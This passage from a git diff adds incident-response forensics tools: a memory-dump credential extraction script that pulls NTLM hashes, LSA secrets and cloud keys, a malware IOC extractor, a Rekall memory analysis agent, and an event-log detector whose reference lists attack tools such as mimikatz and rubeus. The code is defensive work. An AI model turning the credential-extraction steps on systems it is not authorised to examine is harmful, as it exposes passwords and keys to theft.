["--pid", "0"]) + findings = [] + for pattern, label in CLOUD_KEY_PATTERNS: + for match in re.findall(pattern, output): + findings.append({"type": label, "value": match[:30] + "..."}) + for pattern in AUTH_STRING_PATTERNS: + for match in re.findall(pattern, output): + findings.append({"type": "auth_string", "value": match[:60]}) + logger.info("Found %d cloud/auth credential fragments", len(findings)) + return findings[:50] + + +def generate_report(dump_path: str, output_dir: str) -> dict: + """Generate full credential extraction report.""" + os.makedirs(output_dir, exist_ok=True) + report = {"analysis_date": datetime.utcnow().isoformat(), "source": dump_path} + + report["dump_info"] = verify_dump(dump_path) + if not report["dump_info"].get("valid"): + return report + + report["os_info"] = get_os_info(dump_path) + report["lsass_pid"] = find_lsass_pid(dump_path) + report["sam_hashes"] = extract_hashdump(dump_path) + report["lsa_secrets"] = extract_lsadump(dump_path) + report["cached_creds"] = extract_cachedump(dump_path) + + pypykatz_data = run_pypykatz(dump_path, output_dir) + report["lsass_creds"] = parse_pypykatz_creds(pypykatz_data) + report["cloud_keys"] = search_cloud_keys(dump_path) + + summary = { + "sam_hashes": len(report["sam_hashes"]), + "lsa_secrets": len(report["lsa_secrets"]), + "cached_creds": len(report["cached_creds"]), + "lsass_creds": len(report["lsass_creds"]), + "cloud_keys": len(report["cloud_keys"]), + } + report["summary"] = summary + report["actions"] = [] + if summary["sam_hashes"] > 0: + report["actions"].append("Reset passwords for all local accounts with extracted NTLM hashes") + if summary["lsass_creds"] > 0: + report["actions"].append("Reset domain account passwords and perform double krbtgt rotation") + if summary["cloud_keys"] > 0: + report["actions"].append("Rotate all discovered cloud access keys and revoke active sessions") + + logger.info("Report complete: %s", json.dumps(summary)) + return report + + +def main(): + parser = argparse.ArgumentParser(description="Memory Dump Credential Extraction Agent") + parser.add_argument("--dump", required=True, help="Path to memory dump file") + parser.add_argument("--output-dir", default=".", help="Output directory") + parser.add_argument("--output", default="credential_report.json") + args = parser.parse_args() + + report = generate_report(args.dump, args.output_dir) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/extracting-iocs-from-malware-samples/LICENSE b/skills/extracting-iocs-from-malware-samples/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/extracting-iocs-from-malware-samples/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/extracting-iocs-from-malware-samples/references/api-reference.md b/skills/extracting-iocs-from-malware-samples/references/api-reference.md new file mode 100644 index 00000000..5e55b629 --- /dev/null +++ b/skills/extracting-iocs-from-malware-samples/references/api-reference.md @@ -0,0 +1,77 @@ +# API Reference: Malware IOC Extraction Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| pefile | >=2023.2 | PE file parsing for imphash, sections, imports | +| yara-python | >=4.3 | YARA rule scanning against malware samples | +| requests | >=2.28 | VirusTotal API v3 IOC validation | + +## CLI Usage + +```bash +python scripts/agent.py \ + --sample /cases/malware.exe \ + --yara-rules /rules/malware.yar \ + --vt-key YOUR_VT_API_KEY \ + --output-dir /cases/analysis/ \ + --output ioc_report.json +``` + +## Functions + +### `compute_hashes(file_path) -> dict` +Computes MD5, SHA-1, SHA-256 and file size for the sample. + +### `extract_pe_metadata(file_path) -> dict` +Parses PE headers via pefile: imphash, compile timestamp, section entropy, import table. + +### `extract_strings(file_path, min_length) -> list` +Extracts ASCII and Unicode strings (min 4 chars) from the binary. + +### `extract_network_iocs(strings) -> dict` +Regex extraction of IPs, domains, URLs, emails from strings. Filters private IP ranges. + +### `extract_host_iocs(strings) -> dict` +Identifies Windows file paths, registry keys, and mutex names from strings. + +### `run_yara_scan(file_path, rules_path) -> list` +Compiles and runs YARA rules against the sample. Returns matched rule names, tags, and string offsets. + +### `validate_ioc_virustotal(ioc_value, ioc_type, api_key) -> dict` +Queries VirusTotal API v3 for IP, domain, or file hash. Returns malicious/suspicious counts. + +### `defang_ioc(value) -> str` +Defangs IOCs by replacing `http` with `hxxp` and `.` with `[.]`. + +### `export_stix_bundle(iocs, sha256) -> dict` +Builds a STIX 2.1 indicator bundle with file hash, IP, and domain patterns. + +### `export_csv(iocs, hashes, output_path)` +Writes IOCs to CSV format (type, value, context, confidence) for SIEM ingestion. + +### `run_extraction(sample_path, output_dir, yara_rules, vt_key) -> dict` +Orchestrates the full extraction pipeline and generates all output files. + +## Regex Patterns + +| Pattern | Target | +|---------|--------| +| `\b(?:(?:25[0-5]\|...)\.){3}...\b` | IPv4 addresses | +| `\b[a-zA-Z0-9]...\.[a-zA-Z]{2,}+\b` | Domain names | +| `https?://[^\s<>"'{}]+` | URLs | +| `[a-zA-Z0-9_.+-]+@...` | Email addresses | + +## Output Schema + +```json +{ + "hashes": {"md5": "...", "sha256": "...", "sha1": "..."}, + "pe_metadata": {"imphash": "...", "compile_time": "...", "sections": []}, + "network_iocs": {"ips": [], "domains": [], "urls": []}, + "host_iocs": {"file_paths": [], "registry_keys": [], "mutexes": []}, + "yara_matches": [{"rule": "APT28_dropper", "tags": ["apt"]}], + "summary": {"ips": 3, "domains": 5, "yara_hits": 1} +} +``` diff --git a/skills/extracting-iocs-from-malware-samples/scripts/agent.py b/skills/extracting-iocs-from-malware-samples/scripts/agent.py new file mode 100644 index 00000000..64769893 --- /dev/null +++ b/skills/extracting-iocs-from-malware-samples/scripts/agent.py @@ -0,0 +1,271 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""IOC extraction agent using pefile, yara-python, and requests for VirusTotal validation.""" + +import argparse +import csv +import hashlib +import json +import logging +import os +import re +import sys +from datetime import datetime +from typing import Dict, List, Optional, Set + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +try: + import pefile +except ImportError: + sys.exit("pefile required: pip install pefile") + +try: + import yara +except ImportError: + yara = None + logger.warning("yara-python not installed; YARA scanning disabled") + +try: + import requests +except ImportError: + requests = None + logger.warning("requests not installed; VT validation disabled") + +IP_RE = re.compile(r"\b(?:(?:25[0-5]|2[0-4]\d|1?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|1?\d\d?)\b") +DOMAIN_RE = re.compile(r"\b[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z]{2,})+\b") +URL_RE = re.compile(r"https?://[^\s<>\"'{}|\\^`\[\]]+") +EMAIL_RE = re.compile(r"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z]{2,}") + +PRIVATE_IP_PREFIXES = ("10.", "127.", "0.", "192.168.", "169.254.") +FALSE_DOMAIN_SUFFIXES = (".dll", ".exe", ".sys", ".ocx", ".drv", ".pdb") + + +def compute_hashes(file_path: str) -> dict: + """Compute MD5, SHA-1, SHA-256 hashes of a file.""" + with open(file_path, "rb") as f: + data = f.read() + return { + "md5": hashlib.md5(data).hexdigest(), + "sha1": hashlib.sha1(data).hexdigest(), + "sha256": hashlib.sha256(data).hexdigest(), + "size_bytes": len(data), + } + + +def extract_pe_metadata(file_path: str) -> dict: + """Extract PE file metadata including imphash and compile time.""" + try: + pe = pefile.PE(file_path) + meta = { + "imphash": pe.get_imphash(), + "compile_time": datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp).isoformat(), + "sections": [], + "imports": [], + } + for section in pe.sections: + name = section.Name.rstrip(b"\x00").decode("ascii", errors="replace") + meta["sections"].append({ + "name": name, "entropy": round(section.get_entropy(), 2), + "virtual_size": section.Misc_VirtualSize, "raw_size": section.SizeOfRawData, + }) + if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"): + for entry in pe.DIRECTORY_ENTRY_IMPORT: + dll_name = entry.dll.decode("ascii", errors="replace") + funcs = [imp.name.decode("ascii", errors="replace") for imp in entry.imports if imp.name] + meta["imports"].append({"dll": dll_name, "functions": funcs[:20]}) + pe.close() + return meta + except pefile.PEFormatError: + return {"error": "Not a valid PE file"} + + +def extract_strings(file_path: str, min_length: int = 4) -> List[str]: + """Extract ASCII and Unicode strings from binary.""" + with open(file_path, "rb") as f: + data = f.read() + ascii_strs = [s.decode("ascii") for s in re.findall(b"[ -~]{%d,}" % min_length, data)] + unicode_strs = [s.decode("utf-16-le", errors="ignore") + for s in re.findall(b"(?:[ -~]\x00){%d,}" % min_length, data)] + return ascii_strs + unicode_strs + + +def extract_network_iocs(strings: List[str]) -> dict: + """Extract IPs, domains, URLs, emails from string list.""" + ips: Set[str] = set() + domains: Set[str] = set() + urls: Set[str] = set() + emails: Set[str] = set() + + for s in strings: + for ip in IP_RE.findall(s): + if not any(ip.startswith(p) for p in PRIVATE_IP_PREFIXES): + octets = ip.split(".") + if not (int(octets[0]) == 172 and 16 <= int(octets[1]) <= 31): + ips.add(ip) + for d in DOMAIN_RE.findall(s): + if not any(d.lower().endswith(sfx) for sfx in FALSE_DOMAIN_SUFFIXES): + domains.add(d.lower()) + for u in URL_RE.findall(s): + urls.add(u) + for e in EMAIL_RE.findall(s): + emails.add(e.lower()) + + return {"ips": sorted(ips), "domains": sorted(domains), + "urls": sorted(urls), "emails": sorted(emails)} + + +def extract_host_iocs(strings: List[str]) -> dict: + """Extract file paths, registry keys, and mutexes from strings.""" + file_paths = set() + registry_keys = set() + mutexes = set() + + for s in strings: + if re.match(r"[A-Z]:\\", s) and len(s) > 5: + file_paths.add(s) + if re.match(r"(?i)(HKLM|HKCU|HKCR|HKU|HKCC)\\", s): + registry_keys.add(s) + if re.match(r"(?i)(Global\\|Local\\)", s): + mutexes.add(s) + + return {"file_paths": sorted(file_paths)[:30], "registry_keys": sorted(registry_keys)[:20], + "mutexes": sorted(mutexes)[:10]} + + +def run_yara_scan(file_path: str, rules_path: str) -> List[dict]: + """Scan file with YARA rules.""" + if not yara: + return [{"error": "yara-python not installed"}] + try: + rules = yara.compile(filepath=rules_path) + matches = rules.match(file_path) + return [{"rule": m.rule, "tags": m.tags, "meta": m.meta, + "strings": [(s.identifier, s.instances[0].offset if s.instances else 0) + for s in m.strings][:10]} + for m in matches] + except yara.Error as exc: + return [{"error": str(exc)}] + + +def validate_ioc_virustotal(ioc_value: str, ioc_type: str, api_key: str) -> dict: + """Validate a single IOC against VirusTotal API v3.""" + if not requests or not api_key: + return {"validated": False} + endpoints = {"ip": f"https://www.virustotal.com/api/v3/ip_addresses/{ioc_value}", + "domain": f"https://www.virustotal.com/api/v3/domains/{ioc_value}", + "hash": f"https://www.virustotal.com/api/v3/files/{ioc_value}"} + url = endpoints.get(ioc_type) + if not url: + return {"validated": False} + try: + resp = requests.get(url, headers={"x-apikey": api_key}, timeout=10) + if resp.status_code == 200: + stats = resp.json()["data"]["attributes"]["last_analysis_stats"] + return {"validated": True, "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0)} + except Exception: + pass + return {"validated": False} + + +def defang_ioc(value: str) -> str: + """Defang an IOC for safe sharing.""" + return value.replace("http", "hxxp").replace(".", "[.]") + + +def export_stix_bundle(iocs: dict, sha256: str) -> dict: + """Build a minimal STIX 2.1 bundle from extracted IOCs.""" + indicators = [] + ts = datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ") + indicators.append({"type": "indicator", "spec_version": "2.1", + "pattern": f"[file:hashes.'SHA-256' = '{sha256}']", + "pattern_type": "stix", "valid_from": ts, "name": "Malware Hash"}) + for ip in iocs.get("ips", []): + indicators.append({"type": "indicator", "spec_version": "2.1", + "pattern": f"[ipv4-addr:value = '{ip}']", + "pattern_type": "stix", "valid_from": ts, "name": f"C2 IP {ip}"}) + for domain in iocs.get("domains", [])[:20]: + indicators.append({"type": "indicator", "spec_version": "2.1", + "pattern": f"[domain-name:value = '{domain}']", + "pattern_type": "stix", "valid_from": ts, "name": f"C2 Domain {domain}"}) + return {"type": "bundle", "id": "bundle--ioc-extract", "objects": indicators} + + +def export_csv(iocs: dict, hashes: dict, output_path: str) -> None: + """Export IOCs to CSV for SIEM ingestion.""" + with open(output_path, "w", newline="", encoding="utf-8") as f: + writer = csv.writer(f) + writer.writerow(["type", "value", "context", "confidence"]) + writer.writerow(["sha256", hashes["sha256"], "malware_sample", "high"]) + writer.writerow(["md5", hashes["md5"], "malware_sample", "high"]) + for ip in iocs.get("ips", []): + writer.writerow(["ipv4", ip, "c2_server", "high"]) + for d in iocs.get("domains", []): + writer.writerow(["domain", d, "c2_domain", "medium"]) + for u in iocs.get("urls", []): + writer.writerow(["url", u, "c2_url", "medium"]) + logger.info("Exported IOCs to %s", output_path) + + +def run_extraction(sample_path: str, output_dir: str, yara_rules: str = "", + vt_key: str = "") -> dict: + """Run full IOC extraction pipeline.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "sample": sample_path} + + report["hashes"] = compute_hashes(sample_path) + report["pe_metadata"] = extract_pe_metadata(sample_path) + + strings = extract_strings(sample_path) + report["string_count"] = len(strings) + report["network_iocs"] = extract_network_iocs(strings) + report["host_iocs"] = extract_host_iocs(strings) + + if yara_rules and os.path.isfile(yara_rules): + report["yara_matches"] = run_yara_scan(sample_path, yara_rules) + else: + report["yara_matches"] = [] + + if vt_key: + vt_result = validate_ioc_virustotal(report["hashes"]["sha256"], "hash", vt_key) + report["virustotal"] = vt_result + + stix = export_stix_bundle(report["network_iocs"], report["hashes"]["sha256"]) + stix_path = os.path.join(output_dir, "iocs_stix.json") + with open(stix_path, "w") as f: + json.dump(stix, f, indent=2) + + export_csv(report["network_iocs"], report["hashes"], os.path.join(output_dir, "iocs.csv")) + + report["summary"] = { + "ips": len(report["network_iocs"]["ips"]), + "domains": len(report["network_iocs"]["domains"]), + "urls": len(report["network_iocs"]["urls"]), + "file_paths": len(report["host_iocs"]["file_paths"]), + "registry_keys": len(report["host_iocs"]["registry_keys"]), + "yara_hits": len(report["yara_matches"]), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Malware IOC Extraction Agent") + parser.add_argument("--sample", required=True, help="Path to malware sample") + parser.add_argument("--yara-rules", default="", help="Path to YARA rules file") + parser.add_argument("--vt-key", default="", help="VirusTotal API key") + parser.add_argument("--output-dir", default=".", help="Output directory") + parser.add_argument("--output", default="ioc_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + report = run_extraction(args.sample, args.output_dir, args.yara_rules, args.vt_key) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/extracting-memory-artifacts-with-rekall/LICENSE b/skills/extracting-memory-artifacts-with-rekall/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/extracting-memory-artifacts-with-rekall/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/extracting-memory-artifacts-with-rekall/SKILL.md b/skills/extracting-memory-artifacts-with-rekall/SKILL.md new file mode 100644 index 00000000..a577bcfd --- /dev/null +++ b/skills/extracting-memory-artifacts-with-rekall/SKILL.md @@ -0,0 +1,54 @@ +--- +name: extracting-memory-artifacts-with-rekall +description: > + Uses Rekall memory forensics framework to analyze memory dumps for process hollowing, + injected code via VAD anomalies, hidden processes, and rootkit detection. Applies + plugins like pslist, psscan, vadinfo, malfind, and dlllist to extract forensic + artifacts from Windows memory images. Use during incident response memory analysis. +--- + +# Extracting Memory Artifacts with Rekall + +## Instructions + +Use Rekall to analyze memory dumps for signs of compromise including process +injection, hidden processes, and suspicious network connections. + +```python +from rekall import session +from rekall import plugins + +# Create a Rekall session with a memory image +s = session.Session( + filename="/path/to/memory.raw", + autodetect=["rsds"], + profile_path=["https://github.com/google/rekall-profiles/raw/master"] +) + +# List processes +for proc in s.plugins.pslist(): + print(proc) + +# Detect injected code +for result in s.plugins.malfind(): + print(result) +``` + +Key analysis steps: +1. Load memory image and auto-detect profile +2. Run pslist and psscan to find hidden processes +3. Use malfind to detect injected/hollowed code in process VADs +4. Examine network connections with netscan +5. Extract suspicious DLLs and drivers with dlllist/modules + +## Examples + +```python +from rekall import session +s = session.Session(filename="memory.raw") +# Compare pslist vs psscan for hidden processes +pslist_pids = set(p.pid for p in s.plugins.pslist()) +psscan_pids = set(p.pid for p in s.plugins.psscan()) +hidden = psscan_pids - pslist_pids +print(f"Hidden PIDs: {hidden}") +``` diff --git a/skills/extracting-memory-artifacts-with-rekall/references/api-reference.md b/skills/extracting-memory-artifacts-with-rekall/references/api-reference.md new file mode 100644 index 00000000..c02dfa19 --- /dev/null +++ b/skills/extracting-memory-artifacts-with-rekall/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Extracting Memory Artifacts with Rekall + +## Rekall Session + +```python +from rekall import session + +s = session.Session( + filename="/path/to/memory.raw", + autodetect=["rsds"], + profile_path=["https://github.com/google/rekall-profiles/raw/master"] +) +``` + +## Key Plugins + +| Plugin | Purpose | Usage | +|--------|---------|-------| +| `pslist` | List active processes via EPROCESS | `s.plugins.pslist()` | +| `psscan` | Brute-force scan for EPROCESS | `s.plugins.psscan()` | +| `malfind` | Detect injected code (VAD) | `s.plugins.malfind()` | +| `netscan` | List network connections | `s.plugins.netscan()` | +| `dlllist` | List loaded DLLs | `s.plugins.dlllist(pids=[pid])` | +| `vadinfo` | VAD tree analysis | `s.plugins.vadinfo(pids=[pid])` | +| `modules` | List kernel modules | `s.plugins.modules()` | +| `handles` | List open handles | `s.plugins.handles(pids=[pid])` | +| `filescan` | Scan for FILE_OBJECT | `s.plugins.filescan()` | + +## Hidden Process Detection + +```python +pslist_pids = set(p.pid for p in s.plugins.pslist()) +psscan_pids = set(p.pid for p in s.plugins.psscan()) +hidden = psscan_pids - pslist_pids +``` + +## Malfind Output Fields + +- `pid`: Process ID +- `name`: Process name +- `address`: VAD start address +- `protection`: Memory protection (PAGE_EXECUTE_READWRITE = suspicious) +- `tag`: Pool tag + +## Command Line + +```bash +rekall -f memory.raw pslist +rekall -f memory.raw malfind +rekall -f memory.raw netscan +rekall -f memory.raw dlllist --pid 1234 +``` + +### References + +- Rekall: https://github.com/google/rekall +- Rekall docs: https://rekall.readthedocs.io/ +- Rekall profiles: https://github.com/google/rekall-profiles diff --git a/skills/extracting-memory-artifacts-with-rekall/scripts/agent.py b/skills/extracting-memory-artifacts-with-rekall/scripts/agent.py new file mode 100644 index 00000000..85d4ef09 --- /dev/null +++ b/skills/extracting-memory-artifacts-with-rekall/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Agent for extracting memory forensic artifacts using Rekall.""" + +import os +import json +import argparse +from datetime import datetime + +from rekall import session +from rekall import plugins + + +def create_session(image_path, profile_path=None): + """Create a Rekall session for a memory image.""" + kwargs = { + "filename": image_path, + "autodetect": ["rsds"], + } + if profile_path: + kwargs["profile_path"] = [profile_path] + else: + kwargs["profile_path"] = [ + "https://github.com/google/rekall-profiles/raw/master" + ] + return session.Session(**kwargs) + + +def list_processes(s): + """List all processes using pslist plugin.""" + processes = [] + for proc in s.plugins.pslist(): + processes.append({ + "pid": int(proc.pid), + "ppid": int(proc.ppid), + "name": str(proc.name), + "create_time": str(getattr(proc, "create_time", "")), + }) + return processes + + +def find_hidden_processes(s): + """Detect hidden processes by comparing pslist vs psscan.""" + pslist_pids = {} + for proc in s.plugins.pslist(): + pslist_pids[int(proc.pid)] = str(proc.name) + psscan_pids = {} + for proc in s.plugins.psscan(): + psscan_pids[int(proc.pid)] = str(proc.name) + hidden = [] + for pid, name in psscan_pids.items(): + if pid not in pslist_pids and pid > 0: + hidden.append({"pid": pid, "name": name, "detection": "psscan only"}) + return hidden + + +def detect_code_injection(s): + """Detect injected code using malfind plugin (VAD analysis).""" + injections = [] + for result in s.plugins.malfind(): + injections.append({ + "pid": int(getattr(result, "pid", 0)), + "process": str(getattr(result, "name", "")), + "address": hex(getattr(result, "address", 0)), + "protection": str(getattr(result, "protection", "")), + "tag": str(getattr(result, "tag", "")), + }) + return injections + + +def list_network_connections(s): + """List network connections using netscan plugin.""" + connections = [] + for conn in s.plugins.netscan(): + connections.append({ + "pid": int(getattr(conn, "pid", 0)), + "local_addr": str(getattr(conn, "local_addr", "")), + "remote_addr": str(getattr(conn, "remote_addr", "")), + "state": str(getattr(conn, "state", "")), + "protocol": str(getattr(conn, "protocol", "")), + }) + return connections + + +def list_dlls(s, target_pid=None): + """List loaded DLLs for processes using dlllist plugin.""" + dlls = [] + for entry in s.plugins.dlllist(pids=[target_pid] if target_pid else None): + dlls.append({ + "pid": int(getattr(entry, "pid", 0)), + "process": str(getattr(entry, "name", "")), + "dll_path": str(getattr(entry, "path", "")), + "base": hex(getattr(entry, "base", 0)), + "size": int(getattr(entry, "size", 0)), + }) + return dlls + + +def check_drivers(s): + """List loaded kernel drivers using modules plugin.""" + drivers = [] + for mod in s.plugins.modules(): + drivers.append({ + "name": str(getattr(mod, "name", "")), + "base": hex(getattr(mod, "base", 0)), + "size": int(getattr(mod, "size", 0)), + }) + return drivers + + +def analyze_vad(s, target_pid): + """Analyze Virtual Address Descriptor tree for a process.""" + vad_entries = [] + for entry in s.plugins.vadinfo(pids=[target_pid]): + vad_entries.append({ + "start": hex(getattr(entry, "start", 0)), + "end": hex(getattr(entry, "end", 0)), + "protection": str(getattr(entry, "protection", "")), + "tag": str(getattr(entry, "tag", "")), + "filename": str(getattr(entry, "filename", "")), + }) + return vad_entries + + +def main(): + parser = argparse.ArgumentParser(description="Rekall Memory Forensics Agent") + parser.add_argument("--image", required=True, help="Path to memory image") + parser.add_argument("--profile-path", help="Path to Rekall profiles") + parser.add_argument("--pid", type=int, help="Target PID for focused analysis") + parser.add_argument("--output", default="rekall_report.json") + parser.add_argument("--action", choices=[ + "pslist", "hidden", "malfind", "netscan", "dlls", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + s = create_session(args.image, args.profile_path) + report = {"image": args.image, "generated_at": datetime.utcnow().isoformat(), + "findings": {}} + + if args.action in ("pslist", "full_analysis"): + procs = list_processes(s) + report["findings"]["processes"] = procs + print(f"[+] Processes found: {len(procs)}") + + if args.action in ("hidden", "full_analysis"): + hidden = find_hidden_processes(s) + report["findings"]["hidden_processes"] = hidden + print(f"[+] Hidden processes: {len(hidden)}") + + if args.action in ("malfind", "full_analysis"): + injections = detect_code_injection(s) + report["findings"]["code_injection"] = injections + print(f"[+] Code injections detected: {len(injections)}") + + if args.action in ("netscan", "full_analysis"): + conns = list_network_connections(s) + report["findings"]["network_connections"] = conns + print(f"[+] Network connections: {len(conns)}") + + if args.action in ("dlls", "full_analysis"): + drivers = check_drivers(s) + report["findings"]["kernel_drivers"] = drivers + print(f"[+] Kernel drivers: {len(drivers)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/extracting-windows-event-logs-artifacts/LICENSE b/skills/extracting-windows-event-logs-artifacts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/extracting-windows-event-logs-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/extracting-windows-event-logs-artifacts/references/api-reference.md b/skills/extracting-windows-event-logs-artifacts/references/api-reference.md new file mode 100644 index 00000000..07a970fb --- /dev/null +++ b/skills/extracting-windows-event-logs-artifacts/references/api-reference.md @@ -0,0 +1,86 @@ +# API Reference: Windows Event Log Artifact Extraction Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| evtx (python-evtx) | >=0.8 | Parse Windows EVTX binary log files into JSON records | + +## CLI Usage + +```bash +python scripts/agent.py \ + --evtx-dir /cases/case-001/evtx/ \ + --output-dir /cases/case-001/analysis/ \ + --output evtx_report.json + +# Or specify individual files: +python scripts/agent.py \ + --evtx-files Security.evtx System.evtx \ + --output-dir /cases/analysis/ +``` + +## Functions + +### `parse_evtx_file(evtx_path) -> list` +Parses a single EVTX file using PyEvtxParser. Returns list of dicts with event_id, timestamp, channel, computer, event_data. + +### `filter_critical_events(records) -> dict` +Filters records to 15 critical Event IDs (4624, 4625, 4688, 4697, 1102, etc.) grouped by Event ID. + +### `detect_lateral_movement(records) -> list` +Identifies network logons (Type 3) and RDP (Type 10) from non-local IPs. Flags pass-the-hash indicators (Type 9 + NTLM). + +### `detect_privilege_escalation(records) -> list` +Detects special privilege assignment (4672), group membership changes (4728/4732/4756), and account creation (4720). + +### `detect_suspicious_processes(records) -> list` +Matches 4688 process creation events against a list of known attack tools (mimikatz, psexec, rubeus, etc.). + +### `detect_log_clearing(records) -> list` +Identifies audit log clearing events (Event ID 1102 and 104). + +### `detect_persistence(records) -> list` +Detects service installations (4697/7045) and scheduled task creation (4698). + +### `generate_summary(records, findings) -> dict` +Computes statistics: total records, top event IDs, alert counts per detection category. + +### `export_timeline_csv(records, output_path)` +Exports critical events as a sorted CSV timeline with timestamp, event_id, description, details. + +### `analyze_evtx(evtx_paths, output_dir) -> dict` +Orchestrates parsing of multiple EVTX files and runs all detection functions. + +## Critical Event IDs + +| Event ID | Description | +|----------|-------------| +| 1102 | Audit Log Cleared | +| 4624 | Successful Logon | +| 4625 | Failed Logon | +| 4648 | Explicit Credential Logon | +| 4672 | Special Privileges Assigned | +| 4688 | New Process Created | +| 4697 | Service Installed | +| 4698 | Scheduled Task Created | +| 4720 | User Account Created | +| 7045 | New Service Installed (System log) | + +## Output Schema + +```json +{ + "files_analyzed": ["/cases/evtx/Security.evtx"], + "summary": { + "total_records": 245678, + "lateral_movement_alerts": 12, + "suspicious_processes": 3, + "persistence": 5 + }, + "findings": { + "lateral_movement": [{"user": "admin", "source_ip": "10.0.0.5", "logon_type": "Network"}], + "suspicious_processes": [{"matched_pattern": "mimikatz", "process": "m.exe"}] + } +} +``` diff --git a/skills/extracting-windows-event-logs-artifacts/scripts/agent.py b/skills/extracting-windows-event-logs-artifacts/scripts/agent.py new file mode 100644 index 00000000..f5262a59 --- /dev/null +++ b/skills/extracting-windows-event-logs-artifacts/scripts/agent.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python3 +"""Windows Event Log artifact extraction agent using evtx library for EVTX parsing.""" + +import argparse +import csv +import json +import logging +import os +import sys +from collections import Counter, defaultdict +from datetime import datetime +from typing import Dict, List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +try: + from evtx import PyEvtxParser +except ImportError: + sys.exit("evtx required: pip install evtx") + +CRITICAL_EVENT_IDS = { + "1102": "Audit Log Cleared", + "4624": "Successful Logon", + "4625": "Failed Logon", + "4634": 